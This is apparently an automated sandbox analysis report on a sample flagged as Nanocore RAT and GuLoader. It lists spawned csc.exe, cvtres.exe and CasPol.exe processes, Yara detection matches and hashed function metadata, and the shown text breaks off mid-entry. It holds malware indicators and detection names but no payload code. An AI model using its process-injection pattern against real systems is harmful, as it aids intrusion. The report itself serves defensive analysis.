Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	31
Start time:	15:06:02
Start date:	28/01/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\kar5iszo.cmdline
Imagebase:	0x230000
File size:	2141552 bytes
MD5 hash:	EB80BB1CA9B9C7F516FF69AFCFD75B7D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Target ID:	32
Start time:	15:06:02
Start date:	28/01/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESA6F8.tmp" "c:\Users\user\AppData\Local\Temp\CSC12B2DF4544A1496EA7EB89E07B3D3FC6.TMP"
Imagebase:	0xb60000
File size:	46832 bytes
MD5 hash:	70D838A7DC5B359C3F938A71FAD77DB0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	33
Start time:	15:06:35
Start date:	28/01/2022
Path:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe
Imagebase:	0x110000
File size:	106496 bytes
MD5 hash:	7BAE06CBE364BB42B8C34FCFB90E3EBD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	34
Start time:	15:06:35
Start date:	28/01/2022
Path:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe
Imagebase:	0xa10000
File size:	106496 bytes
MD5 hash:	7BAE06CBE364BB42B8C34FCFB90E3EBD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000022.00000002.268467219270.000000001E151000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000022.00000002.268467219270.000000001E151000.00000004.00000800.00020000.00000000.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000022.00000002.268467630247.000000001F151000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000022.00000002.268467630247.000000001F151000.00000004.00000800.00020000.00000000.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000022.00000000.268214047867.0000000000E00000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security

Show Windows behavior

Target ID:	35
Start time:	15:06:35
Start date:	28/01/2022
Path:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe
Imagebase:	0x300000
File size:	106496 bytes
MD5 hash:	7BAE06CBE364BB42B8C34FCFB90E3EBD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	36
Start time:	15:06:35
Start date:	28/01/2022
Path:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe
Imagebase:	0x5c0000
File size:	106496 bytes
MD5 hash:	7BAE06CBE364BB42B8C34FCFB90E3EBD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	37
Start time:	15:06:35
Start date:	28/01/2022
Path:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe
Imagebase:	0xa60000
File size:	106496 bytes
MD5 hash:	7BAE06CBE364BB42B8C34FCFB90E3EBD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000025.00000000.268221853538.0000000000F00000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000025.00000002.268476945395.000000001E1A1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000025.00000002.268476945395.000000001E1A1000.00000004.00000800.00020000.00000000.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000025.00000002.268477360466.000000001F1A1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000025.00000002.268477360466.000000001F1A1000.00000004.00000800.00020000.00000000.sdmp, Author: Kevin Breen <kevin@techanarchy.net>

Show Windows behavior

Execution Graph

Execution Coverage:	10.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.4%
Total number of Nodes:	370
Total number of Limit Nodes:	30

Executed Functions

Function 089EC1F0 Relevance: 11.1, APIs: 1, Strings: 5, Instructions: 554
pipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateNamedPipeW.KERNELBASE(00000000,40080003,?,?,?,00000000,00000001,00000000), ref: 089EC8A0

Strings

$l, xrefs: 089EC4F0
4'l, xrefs: 089EC37C
Xl, xrefs: 089EC473
$l, xrefs: 089EC545
/, xrefs: 089EC70A

Memory Dump Source

Source File: 0000000A.00000002.266613847594.00000000089E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 089E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_89e0000_powershell.jbxd

Similarity

API ID: CreateNamedPipe
String ID: /$4'l$Xl$$l$$l
API String ID: 2489174969-674177930
Opcode ID: c7f39fc17df1eb007f9b7748fc5571b85533de8726dd1e72e2c5551eee05de22
Instruction ID: cc04f4d56910a4340e540d7a57f213e4c18c279f260d8e7c7e5d98b7082e8180
Opcode Fuzzy Hash: c7f39fc17df1eb007f9b7748fc5571b85533de8726dd1e72e2c5551eee05de22
Instruction Fuzzy Hash: 9D22B274B102098FDB05EFA9C4846AEBBF6EF84709F14896DE046DB351DB75D802CB91

Uniqueness

Uniqueness Score: -1.00%

Function 081EAC80 Relevance: 4.6, Strings: 3, Instructions: 813
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHl, xrefs: 081EB15C
PHl, xrefs: 081EB8D8
LRl, xrefs: 081EB807

Memory Dump Source

Source File: 0000000A.00000002.266609958898.00000000081E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 081E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_81e0000_powershell.jbxd

Similarity

API ID:
String ID: LRl$PHl$PHl
API String ID: 0-2388529035
Opcode ID: dfa6a00be8fed685018aa8be07de1bb78cb9afc04c112ef7cd6c5cbe82c06518
Instruction ID: 8228fb123b9293ef7f3c33839ac6ca6bd48eb00d25a6ef51fc9917b85e02b27a
Opcode Fuzzy Hash: dfa6a00be8fed685018aa8be07de1bb78cb9afc04c112ef7cd6c5cbe82c06518
Instruction Fuzzy Hash: 45824B74A00618DFCB15DF64D884BA9B7B2FF88315F1485A9E90AAB361CB35ED81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 081E7380 Relevance: 4.2, Strings: 3, Instructions: 455
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$l, xrefs: 081E743F
PHl, xrefs: 081E75CB
$l, xrefs: 081E73C0

Memory Dump Source

Source File: 0000000A.00000002.266609958898.00000000081E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 081E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_81e0000_powershell.jbxd

Similarity

API ID:
String ID: PHl$$l$$l
API String ID: 0-3036236007
Opcode ID: 4c9d14070ef9e35fb8b988e53ca29b05568046205a23f26a3c6f904fb05ef027
Instruction ID: 8872587e0c11409ff4453ca079d9e81a1ef32af9fe80f5fd977b83abfc7b5c9d
Opcode Fuzzy Hash: 4c9d14070ef9e35fb8b988e53ca29b05568046205a23f26a3c6f904fb05ef027
Instruction Fuzzy Hash: F7F1D174B007088FD714DBB5C494AAABBF6EF89204B14892DD506DB794DB34EC42CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0823E050 Relevance: 4.1, Strings: 2, Instructions: 1587
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(l, xrefs: 0823E191
(l, xrefs: 0823E165

Memory Dump Source

Source File: 0000000A.00000002.266610339237.0000000008230000.00000040.00000800.00020000.00000000.sdmp, Offset: 08230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_8230000_powershell.jbxd

Similarity

API ID:
String ID: (l$(l
API String ID: 0-628555147
Opcode ID: a17744eb4722f6300db19af2f44f6f082494004dac64ac1db1953079a0004e87
Instruction ID: 5ead9b82a27af9932f27e37f2874fd38bf264f5996763310a67cfaf2ec888ec7
Opcode Fuzzy Hash: a17744eb4722f6300db19af2f44f6f082494004dac64ac1db1953079a0004e87
Instruction Fuzzy Hash: ECF22974A10229CFDB25DF64D898BADBBB2FF49305F1081A9E809AB351DB359D85CF40

Uniqueness

Uniqueness Score: -1.00%

Function 081E5AF0 Relevance: 3.5, Strings: 2, Instructions: 1042COMMON

Download Yara Rule

Strings

$l, xrefs: 081E5D49
#, xrefs: 081E5BB8

Memory Dump Source

Source File: 0000000A.00000002.266609958898.00000000081E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 081E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_81e0000_powershell.jbxd

Similarity

API ID:
String ID: #$$l
API String ID: 0-3545536292
Opcode ID: 8f410054641849c36522029395d21d78cbd78a5d1be072f380633bdb60590e93
Instruction ID: 26b7f05e1a6cd36e7e8eb60baa31653857a4ab7f196d58641db2d8487a32c4a0
Opcode Fuzzy Hash: 8f410054641849c36522029395d21d78cbd78a5d1be072f380633bdb60590e93
Instruction Fuzzy Hash: 41A24874A00618CFCB25CF68C894BADBBB2FF98315F1485A9E84A9B351DB359D81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 089EAF08 Relevance: 2.2, Strings: 1, Instructions: 993COMMON

Download Yara Rule

Strings

$l, xrefs: 089EB411

Memory Dump Source

Source File: 0000000A.00000002.266613847594.00000000089E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 089E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_89e0000_powershell.jbxd

Similarity

API ID:
String ID: $l
API String ID: 0-780880711
Opcode ID: cfa0158067634764cd1fe7aeb14742ce926850c2f4da22d83de7c3209595880e
Instruction ID: 70f8dcb83fd9a6e265da5d449f1d3f3918858d128d33781cba72edb73a5a87ba
Opcode Fuzzy Hash: cfa0158067634764cd1fe7aeb14742ce926850c2f4da22d83de7c3209595880e
Instruction Fuzzy Hash: DD929078A002188FDB15EBA4C854BEE77B2EF89305F2185ADD109AB391DF399D41CF61

Uniqueness

Uniqueness Score: -1.00%

Function 088D35B0 Relevance: 2.1, Strings: 1, Instructions: 891COMMON

Download Yara Rule

Strings

`Ql, xrefs: 088D3BA8

Memory Dump Source

Source File: 0000000A.00000002.266612319415.00000000088D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 088D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_88d0000_powershell.jbxd

Similarity

API ID:
String ID: `Ql
API String ID: 0-3912523079
Opcode ID: 86a9b08c46af2b2bed2994c92c6b22707048c4792d21883ad94c3f2844ff1977
Instruction ID: 1f8198099989be291a0380692a114608bcf802e8a714a18a575fcdfd4c219020
Opcode Fuzzy Hash: 86a9b08c46af2b2bed2994c92c6b22707048c4792d21883ad94c3f2844ff1977
Instruction Fuzzy Hash: B7823734A00319DFDB54DF65C894BAEB7B2BF84305F1085A9E90AEB394EB31D981CB51

Uniqueness

Uniqueness Score: -1.00%

Function 088D4BF0 Relevance: 1.8, Strings: 1, Instructions: 518COMMON

Download Yara Rule

Strings

(l, xrefs: 088D4FB1

Memory Dump Source

Source File: 0000000A.00000002.266612319415.00000000088D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 088D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_88d0000_powershell.jbxd

Similarity

API ID:
String ID: (l
API String ID: 0-3974301876
Opcode ID: 7bc855cc726d7d80b35bb410098a4da8590ca9696e7038de8a99da95ab441165
Instruction ID: bf2106949331715b2bf4db08b9ec5d065ea6072e517467527435e0426625b18e
Opcode Fuzzy Hash: 7bc855cc726d7d80b35bb410098a4da8590ca9696e7038de8a99da95ab441165
Instruction Fuzzy Hash: C7226835A00719CFCB14DF65C840AAEB7F2FF89305F1589A9E506EB260DB74AD46CB90

Uniqueness

Uniqueness Score: -1.00%

Function 089EAD24 Relevance: 1.6, APIs: 1, Instructions: 128pipeCOMMON

Download Yara Rule

APIs

CreateNamedPipeW.KERNELBASE(00000000,40080003,?,?,?,00000000,00000001,00000000), ref: 089EC8A0

Memory Dump Source

Source File: 0000000A.00000002.266613847594.00000000089E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 089E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_89e0000_powershell.jbxd

Similarity

API ID: CreateNamedPipe
String ID:
API String ID: 2489174969-0
Opcode ID: a78cba67d6c11764a4f6626a1bf31694412e357d2e1cac73ad63ab54d7acf83b
Instruction ID: f43d1285df90b0de5488b518c0fbfb0c5e485edf85b1196dc4513fbf044b287c
Opcode Fuzzy Hash: a78cba67d6c11764a4f6626a1bf31694412e357d2e1cac73ad63ab54d7acf83b
Instruction Fuzzy Hash: F75103B0D10348DFDB15CFA9C984B9EBBF6BF88708F24852AE448AB250D7745840CF51

Uniqueness

Uniqueness Score: -1.00%

Function 089EEE78 Relevance: .8, Instructions: 781COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.266613847594.00000000089E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 089E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_89e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa2d6d2e1b3dba399807521d5ab1ea3a7e3ab5a781c033a4d4b6a7a5d92e6af6
Instruction ID: e8e5d6908736b054c34bf75b670171a02eb199478d074ef032d914fbe76e1d1e
Opcode Fuzzy Hash: fa2d6d2e1b3dba399807521d5ab1ea3a7e3ab5a781c033a4d4b6a7a5d92e6af6
Instruction Fuzzy Hash: 78729034A00219CFDB15DBA4C850BEDB7B6EF89304F14C5AAE509AB391DB75ED81CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0823BE98 Relevance: .7, Instructions: 688COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.266610339237.0000000008230000.00000040.00000800.00020000.00000000.sdmp, Offset: 08230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_8230000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a41d855334c02f415614e0c5b0da68d8a10b6564108a0cfac23062c01eb9242
Instruction ID: a45b3e4ae61cfcd4b36793ce33b9b743ed51418b7d8c1285e6c5ab8273391b6a
Opcode Fuzzy Hash: 1a41d855334c02f415614e0c5b0da68d8a10b6564108a0cfac23062c01eb9242
Instruction Fuzzy Hash: 8E425A74B102199FCB18EBB4D850AAEB7F6EF88305F21852DD406AB350DF35AC42CB95

Uniqueness

Uniqueness Score: -1.00%

Function 08233BE8 Relevance: .6, Instructions: 610COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.266610339237.0000000008230000.00000040.00000800.00020000.00000000.sdmp, Offset: 08230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_8230000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b33327ecfce1d054675cfbcca40f12ee50c1c1fb206b337768c85dded3388331
Instruction ID: 83f8cad97bef35681f40f2631b88f4d7de2b527276b14d9bff1e835f9767febf
Opcode Fuzzy Hash: b33327ecfce1d054675cfbcca40f12ee50c1c1fb206b337768c85dded3388331
Instruction Fuzzy Hash: C2423974A10229CFCB25EF64C854BADB7B2EF85305F1085A9D80AAB350DB35AE85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 089B0968 Relevance: .6, Instructions: 596COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.266613440890.00000000089B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 089B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_89b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8114bb1a364f65aed64d000faa94b637bfd4901b3ff7c92ca087363fffcaebf5
Instruction ID: 0c2cae9961738a6b11a190d1225d514024d20b5e4cce8c1345444c0007a3c5a9
Opcode Fuzzy Hash: 8114bb1a364f65aed64d000faa94b637bfd4901b3ff7c92ca087363fffcaebf5
Instruction Fuzzy Hash: 8B427E35A003498FCB10DFA4D880B9ABBB2FF85308F14C999D9499F356DB74AD45CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 088D4FF0 Relevance: .5, Instructions: 542COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.266612319415.00000000088D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 088D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_88d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32e2e192fd6b9e3b3db7a0a882312a6e96644a8505f5199c32f3e0220d2e3520
Instruction ID: 51a7e684026e8ba22e8bab404b322c402f5c68cc5c9234b9c1023152efbf4829
Opcode Fuzzy Hash: 32e2e192fd6b9e3b3db7a0a882312a6e96644a8505f5199c32f3e0220d2e3520
Instruction Fuzzy Hash: 4A2278347102088FCB14DFA8D884AAE77B6EF85309F54896DE406DB764DB74EC06CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 088D2227 Relevance: .5, Instructions: 451COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.266612319415.00000000088D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 088D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_88d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38ce9511e5eccc15c582ffc140ae65defea9147435ddea82390624c811f3b54d
Instruction ID: f4784d36c5397eaf89a0451f30554b65b0a3e03485b4596ad598224eae09caac
Opcode Fuzzy Hash: 38ce9511e5eccc15c582ffc140ae65defea9147435ddea82390624c811f3b54d
Instruction Fuzzy Hash: 72025E34B00209DFDB08DBB4D494AAEBBB6FF88245F558069E912DB391DB75E842CB50

Uniqueness

Uniqueness Score: -1.00%

Function 08AB8880 Relevance: .4, Instructions: 379COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.266615355272.0000000008AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_8ab0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d6e88923fbe706aade93681f4c009d4aa4c708257fce0054d7564c04c40c713
Instruction ID: 872b39bd43413a6d14255f6b2ebc426ee32f01f5fae117f78cf8427ed61b9d87
Opcode Fuzzy Hash: 9d6e88923fbe706aade93681f4c009d4aa4c708257fce0054d7564c04c40c713
Instruction Fuzzy Hash: ECE16D74B002048FCB05DFA9C854BEEBBBAEF88345F198469E5059B765CB38DD41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 089F0548 Relevance: 6.7, Strings: 5, Instructions: 406
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'l, xrefs: 089F0635
l,Q, xrefs: 089F060D
+Q, xrefs: 089F06DC
+Q, xrefs: 089F06CE
4'l, xrefs: 089F0629

Memory Dump Source

Source File: 0000000A.00000002.266614003052.00000000089F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 089F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_89f0000_powershell.jbxd

Similarity

API ID:
String ID: 4'l$4'l$l,Q$+Q$+Q
API String ID: 0-1565854278
Opcode ID: 3dd71d05ec8fa47702eeea306bd001003f60d7e1791c67319bbefb4d1150635f
Instruction ID: 583758a2e0291bafff86192dcaa5f4132a4e568e0188f043ad49f720a1059d6d
Opcode Fuzzy Hash: 3dd71d05ec8fa47702eeea306bd001003f60d7e1791c67319bbefb4d1150635f
Instruction Fuzzy Hash: 39E1F434704604DFCB28EF64C9059AA77EBAFC521AF14857EE6159B253CB32C851CB92

Uniqueness

Uniqueness Score: -1.00%

Function 089F0CB0 Relevance: 6.6, Strings: 5, Instructions: 321
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$l, xrefs: 089F0D51
tPl, xrefs: 089F0E02
$l, xrefs: 089F0ED2
$l, xrefs: 089F0EC2
tPl, xrefs: 089F0DF6

Memory Dump Source

Source File: 0000000A.00000002.266614003052.00000000089F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 089F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_89f0000_powershell.jbxd

Similarity

API ID:
String ID: tPl$tPl$$l$$l$$l
API String ID: 0-3126520486
Opcode ID: e14b5c54c6368124127480aa6cfe76a2613c0acb180bcd7d7ac2248b59e5437c
Instruction ID: 5d2311b1264d05d65558cb5bb4b4a3a24fc8dcac02e643893dd939f2049926a4
Opcode Fuzzy Hash: e14b5c54c6368124127480aa6cfe76a2613c0acb180bcd7d7ac2248b59e5437c
Instruction Fuzzy Hash: 78A1E435700244CFCB19EF64C5016AABBEAEFC821AF14847EEA559B752CB31DC51CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 089B30F8 Relevance: 4.0, Strings: 3, Instructions: 221
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CK, xrefs: 089B3230
sK, xrefs: 089B32BC
KK, xrefs: 089B3293

Memory Dump Source

Source File: 0000000A.00000002.266613440890.00000000089B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 089B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_89b0000_powershell.jbxd

Similarity

API ID:
String ID: CK$KK$sK
API String ID: 0-4233914315
Opcode ID: 7662606032fc429194afe56dcd98643d5732165f67a967bf90bbf0f108aa0e14
Instruction ID: 50f35baa0377b96646f7b7fc5c03e1d1a39ce46cf862809283840d0af6f51d58
Opcode Fuzzy Hash: 7662606032fc429194afe56dcd98643d5732165f67a967bf90bbf0f108aa0e14
Instruction Fuzzy Hash: 89914C347002099FC704EFA8D590AADB7F6EF89219F14C96CE4069B751CB35EC46CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 089B30EA Relevance: 4.0, Strings: 3, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CK, xrefs: 089B3230
sK, xrefs: 089B32BC
KK, xrefs: 089B3293

Memory Dump Source

Source File: 0000000A.00000002.266613440890.00000000089B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 089B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_89b0000_powershell.jbxd

Similarity

API ID:
String ID: CK$KK$sK
API String ID: 0-4233914315
Opcode ID: cf65a5244d16f41f44df3ff3c3d86d3b9b3a9f770a4b4001c82db851c3f3c2be
Instruction ID: 1df4470ebeb6095b21e156da8fdeef52440498dd7cdef6982b1e43fd5a857969
Opcode Fuzzy Hash: cf65a5244d16f41f44df3ff3c3d86d3b9b3a9f770a4b4001c82db851c3f3c2be
Instruction Fuzzy Hash: F4916D787002099FC704EFA8D590AADB7F6EF89218B14C96CE4069F751CB35EC46CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 089F113B Relevance: 3.9, Strings: 2, Instructions: 1439
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

tPl, xrefs: 089F17B7
tPl, xrefs: 089F17C3

Memory Dump Source

Source File: 0000000A.00000002.266614003052.00000000089F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 089F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_89f0000_powershell.jbxd

Similarity

API ID:
String ID: tPl$tPl
API String ID: 0-2050922273
Opcode ID: 638765426df82053dab647f2bf63c2a1008e066cb10853fb938d28ab2c3a1c07
Instruction ID: c776ea2b166520c7a837a732d527e7cd709b42a7e0f89a127eeff214e15791d9
Opcode Fuzzy Hash: 638765426df82053dab647f2bf63c2a1008e066cb10853fb938d28ab2c3a1c07
Instruction Fuzzy Hash: 0922E674B00204DFCB19ABA4C915AAA77FBEB84716F24857DE945AB741CB31DC01CBE2

Uniqueness

Uniqueness Score: -1.00%

Function 089F0C90 Relevance: 3.9, Strings: 3, Instructions: 153
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$l, xrefs: 089F0D51
$l, xrefs: 089F0EC2
tPl, xrefs: 089F0DF6

Memory Dump Source

Source File: 0000000A.00000002.266614003052.00000000089F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 089F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_89f0000_powershell.jbxd

Similarity

API ID:
String ID: tPl$$l$$l
API String ID: 0-585297320
Opcode ID: fdcfb294b42a7ce26af41cfee41614a38a7966661794917d3f7015041a155a61
Instruction ID: 8cd79b5224e224a8564f5422f30db745393e3763e4514a72fbe28a556013037d
Opcode Fuzzy Hash: fdcfb294b42a7ce26af41cfee41614a38a7966661794917d3f7015041a155a61
Instruction Fuzzy Hash: 0851A235A00604CFCB28EF54C545AA9BBBAAF84216F1985BEE909AB753C731DC41CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0823BBC8 Relevance: 3.8, Strings: 3, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$l, xrefs: 0823BC1E
$l, xrefs: 0823BBFE
$l, xrefs: 0823BC10

Memory Dump Source

Source File: 0000000A.00000002.266610339237.0000000008230000.00000040.00000800.00020000.00000000.sdmp, Offset: 08230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_8230000_powershell.jbxd

Similarity

API ID:
String ID: $l$$l$$l
API String ID: 0-602637210
Opcode ID: 34fbd966806103a680b7a1e597936b1255b7e3f1486b09abed5913f4b5d02a26
Instruction ID: 84556dd1789dd9188a874b75da866d5ec399eaf8c1b78334b4bd274dcdc82e57
Opcode Fuzzy Hash: 34fbd966806103a680b7a1e597936b1255b7e3f1486b09abed5913f4b5d02a26
Instruction Fuzzy Hash: 613190B5B202198FDB24DF68D4507AAB7B6EF88721F14892AD805DB351CB35DD41CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 089F0641 Relevance: 2.7, Strings: 2, Instructions: 237
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(ol, xrefs: 089F0691
(ol, xrefs: 089F0685

Memory Dump Source

Source File: 0000000A.00000002.266614003052.00000000089F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 089F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_89f0000_powershell.jbxd

Similarity

API ID:
String ID: (ol$(ol
API String ID: 0-3616429829
Opcode ID: f8353a17ab2653166ecda8475bec310ed3642bc1dad10dbe77c7fdc6f9c64ed2
Instruction ID: a1a96c3ef7a977ed43ef204e4c5ad67386431ec249927b2cf526df403c15cb60
Opcode Fuzzy Hash: f8353a17ab2653166ecda8475bec310ed3642bc1dad10dbe77c7fdc6f9c64ed2
Instruction Fuzzy Hash: 4491DF34B00604CFCB28EF54C945AAA77EAEF8421AF1485BEE5159B253CB32DC41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 089B67D0 Relevance: 2.7, Strings: 2, Instructions: 230COMMON

Download Yara Rule

Strings

(l, xrefs: 089B6A23
(l, xrefs: 089B69F7

Memory Dump Source

Source File: 0000000A.00000002.266613440890.00000000089B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 089B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_89b0000_powershell.jbxd

Similarity

API ID:
String ID: (l$(l
API String ID: 0-628555147
Opcode ID: afa43c74de63aa2741edc4c9c067c8bb8be1c63cb6e5780425e3242ba8952a75
Instruction ID: 8b302f962b0ba9794a2e17b3abb7ff389fa4c5246bd82a0497ecf32ccc33fdf6
Opcode Fuzzy Hash: afa43c74de63aa2741edc4c9c067c8bb8be1c63cb6e5780425e3242ba8952a75
Instruction Fuzzy Hash: C081AE74A002058FDB15EFA8C584AAABBF6FF89305B14866DD455EB391DB30FD06CB90

Uniqueness

Uniqueness Score: -1.00%

Function 081EB1B6 Relevance: 2.7, Strings: 2, Instructions: 212COMMON

Download Yara Rule

Strings

